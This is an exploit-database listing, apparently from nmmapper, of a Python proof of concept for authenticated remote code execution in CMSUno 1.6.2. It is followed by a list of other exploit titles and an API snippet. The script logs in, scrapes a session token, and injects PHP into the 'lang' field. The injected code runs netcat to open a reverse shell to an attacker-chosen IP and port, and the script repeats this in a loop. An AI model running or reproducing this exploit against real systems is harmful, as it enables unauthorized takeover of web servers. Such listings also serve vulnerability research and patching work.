To access the dashboard, Schedule scans, API and Search become a patron

Search for hundreds of thousands of exploits

"CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)"

Author

Exploit author

"Fatih Çelik"

Platform

Exploit platform

php

Release date

Exploit published date

2020-11-06

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# Exploit Title: CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020.09.30
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://github.com/boiteasite/cmsuno/
# Software Link: https://github.com/boiteasite/cmsuno/
# Blog: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution_30.html
# Version: 1.6.2
# Tested on: Kali Linux 2020.2

import requests
from bs4 import BeautifulSoup
import lxml
import json

username = input("username: ")
password = input("password: ")
root_url = input("Root URL: http://192.168.1.9/cmsuno --> ")
listener_ip = input("Your ip: ")
listener_port = input("Your port for reverse shell: ")

login_url = root_url + "/uno.php"
vulnerable_url = root_url + "/uno/central.php"

session = requests.Session()
request = session.get(login_url)

# Get the unox value
soup = BeautifulSoup(request.text,"lxml")
unox = soup.find("input",{'name':'unox'})['value']

# Login 
body = {"unox":unox,"user":username,"pass":password}
session.post(login_url, data=body)

# Get the second unox value
request = session.get(login_url)
unox = soup.find("input",{'name':'unox'})['value']

# Exploit
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
"Accept":"*/",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Origin": login_url,
"Connection": "close",
"Referer": login_url
}

payload = 'en";system(\'nc.traditional {} {} -e /bin/bash\');?>// '.format(listener_ip,listener_port)

while True:
    body = 'action=sauvePass&unox={}&user0=&pass0=&user=&pass=&lang={}'.format(unox,payload)
    session.post(vulnerable_url, data=(json.dumps(body)).replace("\\","")[1:-1],headers=header)
    request = session.get(login_url)
    text = request.text
    soup = BeautifulSoup(text,"lxml")
    script = soup.findAll('script')[1].string
    data = script.split("Unox='")[1]
    unox = data.split("',")[0]
Release Date Title Type Platform Author
2020-11-20 "Free MP3 CD Ripper 2.8 - Multiple File Buffer Overflow (Metasploit)" local windows ZwX
2020-11-20 "Zortam Mp3 Media Studio 27.60 - Remote Code Execution (SEH)" local windows "Vincent Wolterman"
2020-11-20 "Boxoft Convert Master 1.3.0 - 'wav' SEH Local Exploit" local windows stresser
2020-11-20 "WonderCMS 3.1.3 - 'content' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-11-20 "IBM Tivoli Storage Manager Command Line Administrative Interface 5.2.0.1 - id' Field Stack Based Buffer Overflow" local windows "Paolo Stagno"
2020-11-19 "Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC)" dos windows "Vincent Wolterman"
2020-11-19 "M/Monit 3.7.4 - Privilege Escalation" webapps multiple "Dolev Farhi"
2020-11-19 "Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure" remote hardware "Nitesh Surana"
2020-11-19 "PESCMS TEAM 2.3.2 - Multiple Reflected XSS" webapps multiple icekam
2020-11-19 "M/Monit 3.7.4 - Password Disclosure" webapps multiple "Dolev Farhi"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48996/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.